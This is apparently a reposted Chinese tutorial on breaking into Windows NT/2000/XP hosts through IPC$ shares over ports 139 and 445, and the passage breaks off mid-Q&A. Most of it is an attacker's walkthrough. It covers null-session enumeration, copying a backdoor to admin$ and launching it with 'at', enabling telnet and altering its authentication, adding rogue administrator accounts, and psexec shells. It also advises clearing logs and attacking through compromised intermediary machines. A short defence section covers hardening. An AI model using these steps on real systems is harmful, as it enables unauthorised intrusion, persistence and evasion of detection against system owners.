1. 程式人生 > >如何利用445埠進行入侵滲透 445埠入侵原因詳細解析。大家在進行入侵滲透個人電腦的時候,經常會碰到各種各樣的埠,比如135,1433,445,3306等埠,現在小編就給大家講解下445埠如

如何利用445埠進行入侵滲透 445埠入侵原因詳細解析。大家在進行入侵滲透個人電腦的時候,經常會碰到各種各樣的埠,比如135,1433,445,3306等埠,現在小編就給大家講解下445埠如

445埠入侵,在這之前我們首先要看的還是445埠為什麼回成為入侵的埠呢?445埠就是IPC 服務的預設埠

445埠入侵詳解

   關於“445埠入侵”的內容

445埠入侵詳解

本站搜尋更多關於“445埠入侵”的內容

445埠入侵,在這之前我們首先要看的還是445埠為什麼回成為入侵的埠呢?

445埠就是IPC 服務的預設埠

                                                         ipc$

一 摘要

網上關於 ipc$入侵的文章可謂多如牛毛,攻擊步驟甚至已經成為了固化的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄。不過話雖這樣說,我認為這些文章講解的並不詳細,一些內容甚至是錯誤的,以致對 ipc$的提問幾乎佔了各大安全論壇討論區的半壁江山,而且這些問題常常都是重複的,嚴重影響了論壇質量和學習效率,因此我總結了這篇文章,希望能把 ipc$這部分東西儘量說清楚。

注意:本文所討論的各種情況均預設發生在 win NT/2000 環境下, win98 將不在此次討論之列。

二 什麼是 ipc$

IPC$(Internet Process Connection) 是共享 " 命名管道 "的資源,它是為了讓程序間通訊而開放的命名管道,通過提供可信任的使用者名稱和口令,連線雙方可以建立安全的通道並以此通道進行加密資料的交換,從而實現對遠端計算機的訪問。 IPC$ 是 NT/2000 的一項新功能,它有一個特點,即在同一時間內,兩個 IP 之間只允許建立一個連線。NT/2000 在提供了 ipc$ 功能的同時,在初次安裝系統時還打開了預設共享,即所有的邏輯共享 (c$,d$,e$ …… ) 和系統目錄winnt 或 windows(admin$) 共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。

平時我們總能聽到有人在說 ipc$ 漏洞, ipc$ 漏洞,其實 ipc$ 並不是一個真正意義上的漏洞 , 我想之所以有人這麼說,一定是指微軟自己安置的那個‘後門':空會話( Null session )。那麼什麼是空會話呢?

三 什麼是空會話

在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。

在 Windows NT 4.0 中是使用挑戰響應協議與遠端機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互通訊息,這個過程的大致順序如下:

1 )會話請求者(客戶)向會話接收者(伺服器)傳送一個數據包,請求安全隧道的建立;

2 )伺服器產生一個隨機的 64 位數(實現挑戰)傳送回客戶;

3 )客戶取得這個由伺服器產生的 64 位數,用試圖建立會話的帳號的口令打亂它,將結果返回到伺服器(實現響應);

4 )伺服器接受響應後傳送給本地安全驗證( LSA ), LSA通過使用該使用者正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是伺服器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應核實為正確後,一個訪問令牌產生,然後傳送給客戶。客戶使用這個訪問令牌連線到伺服器上的資源直到建議的會話被終止。

以上是一個安全會話建立的大致過程,那麼空會話又如何呢?

空會話是在沒有信任的情況下與伺服器建立的會話(即未提供使用者名稱與密碼),但根據 WIN2000的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中並沒有經過使用者資訊的認證,所以這個令牌中不包含使用者資訊,因此,這個會話不能讓系統間傳送加密資訊,但這並不表示空會話的令牌中不包含安全識別符號 SID (它標識了使用者和所屬組),對於一個空會話, LSA 提供的令牌的SID 是 S- 1-5-7 ,這就是空會話的 SID ,使用者名稱是: ANONYMOUS LOGON(這個使用者名稱是可以在使用者列表中看到的,但是是不能在 SAM 資料庫中找到,屬於系統內建的帳號),這個訪問令牌包含下面偽裝的組:

Everyone

Network

在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切資訊。那麼建立空會話到底可以作什麼呢?

四 空會話可以做什麼

對於 NT ,在預設安全設定下,藉助空連線可以列舉目標主機上的使用者和共享,訪問 everyone許可權的共享,訪問小部分登錄檔等,並沒有什麼太大的利用價值;對 2000 作用更小,因為在 Windows 2000和以後版本中預設只有管理員和備份操作員有權從網路訪問到登錄檔,而且實現起來也不方便,需藉助工具。

從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的 ipc$入侵來看,空會話是一個不可缺少的跳板,因為我們從它那裡可以得到戶列表,而大多數弱口令掃描工具就是利用這個使用者列表來進行口令猜解的,成功的匯出使用者列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令:

1 首先,我們先建立一個空會話(當然,這需要目標開放 ipc$ )

命令: net use \\ip\ipc$ "" /user:""

注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 後面一個,密碼左右各一個空格。

2 檢視遠端主機的共享資源

命令: net view \\ip

解釋:前提是建立了空連線後,用此命令可以檢視遠端主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示預設共享。

在 \\*.*.*.* 的共享資源

資源共享名 型別 用途 註釋

-----------------------------------------------------------

NETLOGON Disk Logon server share

SYSVOL Disk Logon server share

命令成功完成。

3 檢視遠端主機的當前時間

命令: net time \\ip

解釋:用此命令可以得到一個遠端主機的當前時間。

4 得到遠端主機的 NetBIOS 使用者名稱列表(需要開啟自己的 NBT )

命令: nbtstat -A ip

用此命令可以得到一個遠端主機的 NetBIOS 使用者名稱列表,返回如下結果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status

---------------------------------------------

SERVER <00> UNIQUE Registered

OYAMANISHI-H <00> GROUP Registered

OYAMANISHI-H < 1C > GROUP Registered

SERVER <20> UNIQUE Registered

OYAMANISHI-H <1B> UNIQUE Registered

OYAMANISHI-H <1E> GROUP Registered

SERVER <03> UNIQUE Registered

OYAMANISHI-H <1D> UNIQUE Registered

..__MSBROWSE__.<01> GROUP Registered

INet~Services < 1C > GROUP Registered

IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B -9A -2D-37

以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立 IPC$ 連線的操作會在 Event Log 中留下記錄,不管你是否登入成功。 好了,那麼下面我們就來看看 ipc$ 所使用的埠是什麼?

五 ipc$ 所使用的埠

首先我們來了解一些基礎知識:

1 SMBServer Message Block) Windows 協議族,用於檔案列印共享的服務;

2 NBTNETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )埠實現基於 TCP/IP 協議的 NETBIOS 網路互聯。

3 在 WindowsNT 中 SMB 基於 NBT 實現,即使用 139 ( TCP )埠;而在 Windows2000 中, SMB 除了基於 NBT 實現,還可以直接通過 445 埠實現。

有了這些基礎知識,我們就可以進一步來討論訪問網路共享對埠的選擇了:

對於 win2000 客戶端(發起端)來說:

1 如果在允許 NBT 的情況下連線伺服器時,客戶端會同時嘗試訪問 139 和 445 埠,如果 445 埠有響應,那麼就傳送 RST包給 139 埠斷開連線,用 455 埠進行會話,當 445 埠無響應時,才使用 139 埠,如果兩個埠都沒有響應,則會話失敗;

2 如果在禁止 NBT 的情況下連線伺服器時,那麼客戶端只會嘗試訪問 445 埠,如果 445 埠無響應,那麼會話失敗。

對於 win2000 伺服器端來說:

1 如果允許 NBT, 那麼 UDP 埠 137, 138, TCP 埠 139, 445 將開放( LISTENING );

2 如果禁止 NBT ,那麼只有 445 埠開放。

我們建立的 ipc$ 會話對埠的選擇同樣遵守以上原則。顯而易見,如果遠端伺服器沒有監聽 139 或 445 埠, ipc$ 會話是無法建立的。

六 ipc 管道在 hack 攻擊中的意義

ipc 管道本來是微軟為了方便管理員進行遠端管理而設計的,但在入侵者看來,開放 ipc 管道的主機似乎更容易得手。通過 ipc管道,我們可以遠端呼叫一些系統函式(大多通過工具實現,但需要相應的許可權),這往往是入侵成敗的關鍵。如果不考慮這些,僅從傳送檔案這一方面,ipc 管道已經給了入侵者莫大的支援,甚至已經成為了最重要的傳輸手段,因此你總能在各大論壇上看到一些朋友因為打不開目標機器的 ipc管道而一籌莫展大呼救命。當然,我們也不能忽視許可權在 ipc管道中扮演的重要角色,想必你一定品嚐過空會話的尷尬,沒有許可權,開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的許可權,那麼 ipc管道這把雙刃劍將顯示出它猙獰的一面。

七 ipc$ 連線失敗的常見原因

以下是一些常見的導致 ipc$ 連線失敗的原因:

1 IPC 連線是 Windows NT 及以上系統中特有的功能,由於其需要用到 Windows NT 中很多 DLL 函式,所以不能在Windows 9.x/Me 系統中執行,也就是說只有 nt/2000/xp 才可以相互建立 ipc$ 連線, 98/me 是不能建立ipc$ 連線的;

2 如果想成功的建立一個 ipc$ 連線,就需要響應方開啟 ipc$ 共享,即使是空連線也是這樣,如果響應方關閉了 ipc$ 共享,將不能建立連線;

3 連線發起方未啟動 Lanmanworkstation 服務(顯示名為: Workstation ):它提供網路鏈結和通訊,沒有它發起方無法發起連線請求;

4 響應方未啟動 Lanmanserver 服務(顯示名為: Server ):它提供了 RPC 支援、檔案、列印以及命名管道共享, ipc$ 依賴於此服務,沒有它主機將無法響應發起方的連線請求,不過沒有它仍可發起 ipc$ 連線;

5 響應方未啟動 NetLogon ,它支援網路上計算機 pass-through 帳戶登入身份(不過這種情況好像不多);

6 響應方的 139 , 445 埠未處於監聽狀態或被防火牆遮蔽;

7 連線發起方未開啟 139 , 445 埠;

8 使用者名稱或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似於 ' 無法更新密碼 ' 這樣的錯誤提示(顯然空會話排除這種錯誤);

9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號 "" 即可;

10 如果在已經建立好連線的情況下對方重啟計算機,那麼 ipc$ 連線將會自動斷開,需要重新建立連線。

另外 , 你也可以根據返回的錯誤號分析原因:

錯誤號 5 ,拒絕訪問:很可能你使用的使用者不是管理員許可權的;

錯誤號 51 , Windows 無法找到網路路徑:網路有問題;

錯誤號 53 ,找不到網路路徑: ip 地址錯誤;目標未開機;目標 lanmanserver 服務未啟動;目標有防火牆(埠過濾);

錯誤號 67 ,找不到網路名:你的 lanmanworkstation 服務未啟動或者目標刪除了 ipc$ ;

錯誤號 1219 ,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個 ipc$ ,請刪除再連;

錯誤號 1326 ,未知的使用者名稱或錯誤密碼:原因很明顯了;

錯誤號 1792 ,試圖登入,但是網路登入服務沒有啟動:目標 NetLogon 服務未啟動;

錯誤號 2242 ,此使用者的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。

八 複製檔案失敗的原因

有些朋友雖然成功的建立了 ipc$ 連線,但在 copy 時卻遇到了這樣那樣的麻煩,無法複製成功,那麼導致複製失敗的常見原因又有哪些呢?

1 對方未開啟共享資料夾

這類錯誤出現的最多,佔到 50% 以上。許多朋友在 ipc$連線建立成功後,甚至都不知道對方是否有共享資料夾,就進行盲目複製,結果導致複製失敗而且鬱悶的很。因此我建議大家在進行復制之前務必用 netview \\IP 這個命令看一下你想要複製的共享資料夾是否存在(用軟體檢視當然更好),不要認為能建立 ipc$ 連線就一定有共享資料夾存在。

2 向預設共享複製失敗

這類錯誤也是大家經常犯的,主要有兩個小方面:

1 )錯誤的認為能建立 ipc$ 連線的主機就一定開啟了預設共享,因而在建立完連線之後馬上向 c$,d$,admin$之類的預設共享複製檔案,一旦對方未開啟預設共享,將導致複製失敗。 ipc$ 連線成功只能說明對方打開了 ipc$共享,並不能說明預設共享一定存在。 ipc$ 共享與預設共享是 兩碼 事, ipc$共享是一個命名管道,並不是哪個實際的資料夾,而預設共享卻是實實在在的共享資料夾;

2 )由於 net view \\IP 這個命令無法顯示預設共享資料夾(因為預設共享帶 $),因此通過這個命令,我們並不能判斷對方是否開啟了預設共享,因此如果對方未開啟預設共享,那麼所有向預設共享進行的操作都不能成功;(不過大部分掃描軟體在掃弱口令的同時,都能掃到預設共享目錄,可以避免此類錯誤的發生)

要點:請大家一定區分 ipc 共享,預設共享,普通共享這三者的區別: ipc 共享是一個管道,並不是實際的共享資料夾;預設共享是安裝時預設開啟的資料夾;普通共享是我們自己開啟的可以設定許可權的共享資料夾。

3 使用者許可權不夠,包括四種情形:

1 )空連線向所有共享(預設共享和普通共享)複製時,許可權是不夠的;

2 )向預設共享複製時,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 組成員才可以,在 Win2000 Server 版本 Server Operatros 組也可以訪問到這些共享目錄;

3 )向普通共享複製時,要具有相應許可權(即對方管理員事先設定的訪問許可權);

4 )對方可以通過防火牆或安全軟體的設定,禁止外部訪問共享;

注意:

1 不要認為 administrator 就一定具有管理員許可權,管理員名稱是可以改的

2 管理員可以訪問預設共享的資料夾,但不一定能夠訪問普通的共享資料夾,因為管理員可以對普通的共享資料夾進行訪問許可權設定,如圖 6 ,管理員為D 盤設定的訪問許可權為僅允許名為 xinxin 的使用者對該資料夾進行完全訪問,那麼此時即使你擁有管理員許可權,你仍然不能訪問 D盤。不過有意思的是,如果此時對方又開啟了 D$ 的預設共享,那麼你卻可以訪問 D$ ,從而繞過了許可權限制,有興趣的朋友可以自己做測試。

4 被防火牆殺死或在區域網

還有一種情況,那就是也許你的複製操作已經成功,但當遠端執行時,被防火牆殺掉了,導致找不到檔案;或者你把木馬複製到了區域網內的主機,導致連線失敗(反向連線的木馬不會發生這種情況)。如果你沒有想到這種情況,你會以為是複製上出了問題,但實際你的複製操作已經成功了,只是執行時出了問題。

呵呵,大家也知道, ipc$ 連線在實際操作過程中會出現各種各樣的問題,上面我所總結的只是一些常見錯誤,沒說到的,大家可以給我提個醒兒。

九 關於 at 命令和 xp 對 ipc$ 的限制

本來還想說一下用 at 遠端執行程式失敗的原因,但考慮到 at的成功率不是很高,問題也很多,在這裡就不提它了(提的越多,用的人就越多),而是推薦大家用 psexec.exe遠端執行程式,假設想要遠端機器執行本地 c:\xinxin.exe 檔案,且管理員為 administrator ,密碼為 1234,那麼輸入下面的命令:

psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe

如果已經建立 ipc 連線,則 -u -p 這兩個引數不需要, psexec.exe 將自動拷貝檔案到遠端機器並執行。

本來 xp 中的 ipc$ 也不想在這裡討論,想單獨拿出來討論,但看到越來越多的朋友很急切的提問為什麼遇到 xp的時候,大部分操作都很難成功。我在這裡就簡單提一下吧,在 xp的預設安全選項中,任何遠端訪問僅被賦予來賓許可權,也就是說即使你是用管理員帳戶和密碼,你所得到的許可權也只是 Guest,因此大部分操作都會因為許可權不夠而失敗,而且到目前為止並沒有一個好的辦法來突破這一限制。所以如果你真的得到了 xp的管理員密碼,我建議你儘量避開 ipc 管道。

十 如何開啟目標的 IPC$ 共享以及其他共享

目標的 ipc$ 不是輕易就能開啟的,否則就要天下打亂了。你需要一個 admin 許可權的 shell ,比如 telnet ,木馬, cmd 重定向等,然後在 shell 下執行:

net share ipc$

開放目標的 ipc$ 共享;

net share ipc$ /del

關閉目標的 ipc$ 共享;如果你要給它開共享資料夾,你可以用:

net share xinxin=c:\

這樣就把它的 c 盤開為共享名為 xinxin 共享檔案夾了。(可是我發現很多人錯誤的認為開共享資料夾的命令是 net share c$ ,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次宣告,這些操作都是在 shell 下才能實現的。

十一 一些需要 shell 才能完成的命令

看到很多教程這方面寫的十分不準確,一些需要 shell 才能完成命令就簡簡單單的在 ipc$ 連線下執行了,起了誤導作用。那麼下面我總結一下需要在 shell 才能完成的命令:

1 向遠端主機建立使用者,啟用使用者,修改使用者密碼,加入管理組的操作需要在 shell 下完成;

2 開啟遠端主機的 ipc$ 共享,預設共享,普通共享的操作需要在 shell 下完成;

3 執行 / 關閉遠端主機的服務,需要在 shell 下完成;

4 啟動 / 殺掉遠端主機的程序,也需要在 shell 下完成(用軟體的情況下除外,如 pskill )。

十二 入侵中可能會用到的命令

為了這份教程的完整性,我列出了 ipc$入侵中的一些常用命令,如果你已經掌握了這些命令,你可以跳過這一部分看下面的內容。請注意這些命令是適用於本地還是遠端,如果只適用於本地,你只能在獲得遠端主機的 shell (如 cmd , telnet 等)後,才能向遠端主機執行。

1 建立 / 刪除 ipc$ 連線的命令

1 )建立空連線 :

net use \\127.0.0.1\ipc$ "" /user:""

2 )建立非空連線 :

net use \\127.0.0.1\ipc$ " 密碼 " /user:" 使用者名稱 "

3 )刪除連線 :

net use \\127.0.0.1\ipc$ /del

2 在 ipc$ 連線中對遠端主機的操作命令

1 ) 檢視遠端主機的共享資源(看不到預設共享) :

net view \\127.0.0.1

2 ) 檢視遠端主機的當前時間 :

net time \\127.0.0.1

3 ) 得到遠端主機的 netbios 使用者名稱列表 :

nbtstat -A 127.0.0.1

4 )對映 / 刪除遠端共享 :

net use z: \\127.0.0.1\c

此命令將共享名為 c 的共享資源對映為本地 z 盤

net use z: /del

刪除對映的 z 盤,其他盤類推

5 )向遠端主機複製檔案 :

copy 路徑 \ 檔名 \\IP\ 共享目錄名,如:

copy c:\xinxin.exe \\127.0.0.1\c$ 即將 c 盤下的 xinxin.exe 複製到對方 c 盤內

當然,你也可以把遠端主機上的檔案複製到自己的機器裡:

copy \\127.0.0.1\c$\xinxin.exe c:\

6 )遠端新增計劃任務 :

at \\IP 時間 程式名 如:

at \\127.0.0.0 11:00 xinxin.exe

注意:時間儘量使用 24 小時制;如果你打算執行的程式在系統預設搜尋路徑(比如 system32/ )下則不用加路徑,否則必須加全路徑

3 本地命令

1 )檢視本地主機的共享資源(可以看到本地的預設共享)

net share

2 )得到本地主機的使用者列表

net user

3 )顯示本地某使用者的帳戶資訊

net user 帳戶名

4 )顯示本地主機當前啟動的服務

net start

5 )啟動 / 關閉本地服務

net start 服務名

net stop 服務名

6 )在本地新增帳戶

net user 帳戶名 密碼 /add

7 )啟用禁用的使用者

net uesr 帳戶名 /active:yes

8 )加入管理員組

net localgroup administrators 帳戶名 /add

很顯然的是,雖然這些都是本地命令,但如果你在遠端主機的 shell 中輸入,比如你 telnet 成功後輸入上面這些命令,那麼這些本地輸入將作用在遠端主機上。

4 其他一些命令

1 ) telnet

telnet IP 埠

telnet 127.0.0.0 23

2 )用 opentelnet.exe 開啟遠端主機的 telnet

OpenTelnet.exe \\ip 管理員帳號 密碼 NTLM 的認證方式 port

OpenTelnet.exe \\127.0.0.1 administrator "" 1 90

不過這個小工具需要滿足四個要求:

1 )目標開啟了 ipc$ 共享

2 )你要擁有管理員密碼和帳號

3 )目標開啟 RemoteRegistry 服務,使用者就可以更改 ntlm 認證

4 )對僅 WIN2K/XP 有效

3 )用 psexec.exe 一步獲得 shell ,需要 ipc 管道支援

psexec.exe \\IP -u 管理員帳號 -p 密碼 cmd

psexec.exe \\127.0.0.1 -u administrator -p "" cmd

十三 對比過去和現今的 ipc$ 入侵

既然是對比,那麼我就先把過去的 ipc$ 入侵步驟寫給大家,都是蠻經典的步驟:

[1]

C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators

\\ 用掃到的空口令建立連線  

[2]

c:\>net view \\127.0.0.1

\\ 檢視遠端的共享資源

[3]

C:\>copy srv.exe \\127.0.0.1\admin$\system32

\\ 將一次性後門 srv.exe 複製到對方的系統資料夾下,前提是 admin$ 開啟  

[4]

C:\>net time \\127.0.0.1

\\ 檢視遠端主機的當前時間

[5]

C:\>at \\127.0.0.1 時間 srv.exe

\\ 用 at 命令遠端執行 srv.exe ,需要對方開啟了 'Task Scheduler' 服務  

[6]

C:\>net time \\127.0.0.1

\\ 再次檢視當前時間來估算 srv.exe 是否已經執行,此步可以省略

[7]

C:\>telnet 127.0.0.1 99

\\ 開一個新視窗,用 telnet 遠端登陸到 127.0.0.1 從而獲得一個 shell( 不懂 shell 是什麼意思?那你就把它想象成遠端機器的控制權就好了,操作像 DOS) , 99 埠是 srv.exe 開的一次性後門的埠  

[8]

C:\WINNT\system32>net start telnet

\\ 我們在剛剛登陸上的 shell 中啟動遠端機器的 telnet 服務,畢竟 srv.exe 是一次性的後門,我們需要一個長久的後門便於以後訪問,如果對方的 telnet 已經啟動,此步可省略

[9]

C:\>copy ntlm.exe \\127.0.0.1\admin$\system32

\\ 在原來那個視窗中將 ntlm.exe 傳過去, ntlm.exe 是用來更改 telnet 身份驗證的  

[10]

C:\WINNT\system32>ntlm.exe

\\ 在 shell 視窗中執行 ntlm.exe ,以後你就可以暢通無阻的 telnet 這臺主機了

[11]

C:\>telnet 127.0.0.1 23

\\ 在新視窗中 telnet 到 127.0.0.1 ,埠 23 可省略,這樣我們又獲得一個長期的後門

[12]

C:\WINNT\system32>net user 帳戶名 密碼 /add

C:\WINNT\system32>net uesr guest /active:yes

C:\WINNT\system32>net localgroup administrators 帳戶名 /add

\\telnet 上以後,你可以建立新帳戶,啟用 guest ,把任何帳戶加入管理員組等

好了,寫到這裡我似乎回到了 2 , 3 年前,那時的 ipc$ 大家都是這麼用的,不過隨著新工具的出現,上面提到的一些工具和命令現在已經不常用到了,那就讓我們看看現在的高效而簡單的 ipc$ 入侵吧。

[1]

psexec.exe \\IP -u 管理員帳號 -p 密碼 cmd

\\ 用這個工具我們可以一步到位的獲得 shell

OpenTelnet.exe \\server 管理員帳號 密碼 NTLM 的認證方式 port

\\ 用它可以方便的更改 telnet 的驗證方式和埠,方便我們登陸

[2]

已經沒有第二步了,用一步獲得 shell 之後,你做什麼都可以了,安後門可以用 winshell ,克隆就用 ca 吧,開終端用 3389.vbe ,記錄密碼用 win2kpass ,總之好的工具不少,隨你選了,我就不多說了。

十四 如何防範 ipc$ 入侵

1 禁止空連線進行列舉 ( 此操作並不能阻止空連線的建立 )

執行 regedit ,找到如下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的鍵值改為: 1

如果設定為 "1" ,一個匿名使用者仍然可以連線到 IPC$ 共享,但無法通過這種連線得到列舉 SAM 帳號和共享資訊的許可權;在 Windows2000 中增加了 "2" ,未取得匿名權的使用者將不能進行 ipc$ 空連線。建議設定為 1。如果上面所說的主鍵不存在,就新建一個再改鍵值。如果你覺得改登錄檔麻煩,可以在本地安全設定中設定此項: 在本地安全設定-本地策略-安全選項-' 對匿名連線的額外限制 '

2 禁止預設共享

1 )察看本地共享資源

執行 -cmd- 輸入 net share

2 )刪除共享(重起後預設共享仍然存在)

net share ipc$ /delete

net share admin$ /delete

net share c$ /delete

net share d$ /delete (如果有 e,f, ……可以繼續刪除)

3 )停止 server 服務

net stop server /y (重新啟動後 server 服務會重新開啟)

4 )禁止自動開啟預設共享(此操作並不能關閉 ipc$ 共享)

執行 -regedit

server 版 : 找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareServer ( DWORD )的鍵值改為 :00000000 。

pro 版 : 找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareWks ( DWORD )的鍵值改為 :00000000 。

這兩個鍵值在預設情況下在主機上是不存在的,需要自己手動新增,修改後重起機器使設定生效。

3 關閉 ipc$ 和預設共享依賴的服務 :server 服務

如果你真的想關閉 ipc$ 共享,那就禁止 server 服務吧:

控制面板 - 管理工具 - 服務 - 找到 server 服務(右擊) - 屬性 - 常規 - 啟動型別 - 選已禁用,這時可能會有提示說: XXX 服務也會關閉是否繼續,因為還有些次要的服務要依賴於 server 服務,不要管它。

4 遮蔽 139 , 445 埠

由於沒有以上兩個埠的支援,是無法建立 ipc$ 的,因此遮蔽 139 , 445 埠同樣可以阻止 ipc$ 入侵。

1 ) 139 埠可以通過禁止 NBT 來遮蔽

本地連線- TCP/IT 屬性-高階- WINS -選‘禁用 TCP/IT 上的 NETBIOS '一項

2 ) 445 埠可以通過修改登錄檔來遮蔽

新增一個鍵值

Hive: HKEY_LOCAL_MACHINE

Key: System\Controlset\Services\NetBT\Parameters

Name: SMBDeviceEnabled

Type: REG_DWORD

value: 0

修改完後重啟機器

注意:如果遮蔽掉了以上兩個埠,你將無法用 ipc$ 入侵別人。

3 )安裝防火牆進行埠過濾

6 設定複雜密碼,防止通過 ipc$ 窮舉出密碼,我覺得這才是最好的辦法,增強安全意識,比不停的打補丁要安全的多。

十五 ipc$ 入侵問答精選

上面說了一大堆的理論東西,但在實際中你會遇到各種各樣的問題,因此為了給予大家最大的幫助,我整理了各大安全論壇中一些有代表性的問答,其中的一些答案是我給出的,一些是論壇上的回覆,如果有什麼疑問,可以來找我討論。

1. 進行 ipc$ 入侵的時候,會在伺服器中留下記錄,有什麼辦法可以不讓伺服器發現嗎?

答:留下記錄是一定的,你走後用清除日誌程式刪除就可以了,或者用肉雞入侵。

2. 你看下面的情況是為什麼,可以連線但不能複製

net use \\***.***.***.***\ipc$ " 密碼 " /user:" 使用者名稱 "

命令成功

copy icmd.exe \\***.***.***.***\admin$

找不到網路路徑

命令不成功

答:像“找不到網路路徑”“找不到網路名”之類的問題,大多是因為你想要複製到的共享資料夾沒有開啟,所以在複製的時候會出現錯誤,你可以試著找找其他的共享資料夾。

3. 如果對方開了 IPC$ ,且能建立空聯接,但開啟 C 、 D 盤時,都要求密碼,我知道是空連線沒有太多的許可權,但沒別的辦法了嗎?

答:建議先用流光或者別的什麼掃描軟體試著猜解一下密碼,如果猜不出來,只能放棄,畢竟空連線的能力有限。

4. 我已經猜解到了管理員的密碼,且已經 ipc$ 連線成功了,但 net view \\ip 發現它沒開預設共享,我該怎麼辦?

答:首先糾正你的一個錯誤,用 net view \\ip 是無法看到預設共享的,你可以試著將檔案複製到 c$ , d$ 看看,如果都不行,說明他關閉了預設共享,那你就用 opentelnet.exe 或 psexec.exe 吧,用法上面有。

5.ipc$ 連線成功後,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎麼回事?

net uset ccbirds /add

答: ipc$ 建立成功只能說明你與遠端主機建立了通訊隧道,並不意味你取得了一個 shell ,只有在獲得一個 shell (比如 telnet )之後,你才能在遠端機器建立一個帳戶,否則你的操作只是在本地進行。

6. 我已進入了一臺肉機,用的管理員帳號,可以看他的系統時間,但是複製程式到他的機子上卻不行,每次都提示“拒絕訪問,已複製 0 個檔案”,是不是對方有什麼服務沒開,我該怎麼辦?

答:一般來說“拒絕訪問”都是許可權不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共享資料夾複製檔案卻返回這個錯誤,說明這個資料夾設定的允許訪問使用者中不包括你(哪怕你是管理員),這一點我在上一期文章中分析了。

7. 我用 Win98 能與對方建立 ipc$ 連線嗎?

答:理論上不可以,要進行 ipc$ 的操作,建議用 win2000 ,用其他作業系統會帶來許多不必要的麻煩。

8. 我用 net use \\ip\ipc$ "" /user "" 成功的建立了一個空會話,但用 nbtstat -A IP 卻無法匯出使用者列表,這是為什麼?

答:空會話在預設的情況下是可以匯出使用者列表的,但如果管理員通過修改登錄檔來禁止匯出列表,就會出現你所說的情況;還有可能是你自己的 NBT 沒有開啟, netstat 命令是建立在 NBT 之上的。  

9. 我建立 ipc$ 連線的時候返回如下資訊:‘提供的憑據與已存在的憑據集衝突',怎麼回事?

答:呵呵,這說明你已經與目標主機建立了 ipc$ 連線,兩個主機間同時建立兩個 ipc$ 連線是不允許的。

10. 我在對映的時候出現:

F:\>net use h: \\211.161.134.*\e$

系統發生 85 錯誤。

本地裝置名已在使用中。這是怎麼回事?

答:你也太粗心了吧,這說明你有一個 h 盤了,對映到沒有的碟符吧!

11. 我建立了一個連線 f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但當我對映時出現了錯誤,向我要密碼,怎麼回事?

F:\>net use h: \\*.*.*.*\c$

密碼在 \\*.*.*.*\c$ 無效。

請鍵入 \\*.*.*.*\c$ 的密碼 :

系統發生 5 錯誤。

拒絕訪問。

答:呵呵,向你要密碼說明你當前使用的使用者許可權不夠,不能對映 C$ 這個預設共享,想辦法提升許可權或者找管理員的弱口令吧!預設共享一般是需要管理員許可權的。

12. 我用 superscan 掃到了一個開了 139 埠的主機,但為什麼不能空連線呢?

答:你混淆了 ipc$ 與 139 的關係,能進行 ipc$ 連線的主機一定開了 139 或 445 埠,但開這兩個埠的主機可不一定能空連線,因為對方可以關閉 ipc$ 共享 .

13. 我們局域網裡的機器大多都是 xp ,我用流光掃描到幾個 administrator 帳號口令是空,而且可以連線,但不能複製東西,說錯誤 5 。請問為什麼?

答: xp 的安全性要高一些,在安全策略的預設設定中,對本地帳戶的網路登入進行身份驗證的時候,預設為來賓許可權,即使你用管理員遠端登入,也只具有來賓許可權,因此你複製檔案,當然是錯誤 5 :許可權不夠。

14. 我用 net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c

出現請鍵入 \\192.168.0.2 的密碼,怎麼回事情呢?我用的可是管理員呀?應該什麼都可以訪問呀?

答:雖然你具有管理員許可權,但管理員在設定 c 盤共享許可權時(注意:普通共享可以設定訪問許可權,而預設共享則不能)可能並未設定允許 administrator 訪問,所以會出現上述問題。

15. 如果自己的機器禁止了 ipc$, 是不是還可以用 ipc$ 連線別的機器?如果禁止 server 服務呢?

答:禁止以上兩項仍可以發起 ipc$ 連線,不過這種問題自己動手試驗會更好。

16. 能告訴我下面的兩個錯誤產生的原因嗎?

c:\>net time \\61.225.*.*

系統發生 5 錯誤。

拒絕訪問。

c:\>net view \\61.225.*.*

系統發生 5 錯誤。

拒絕訪問。

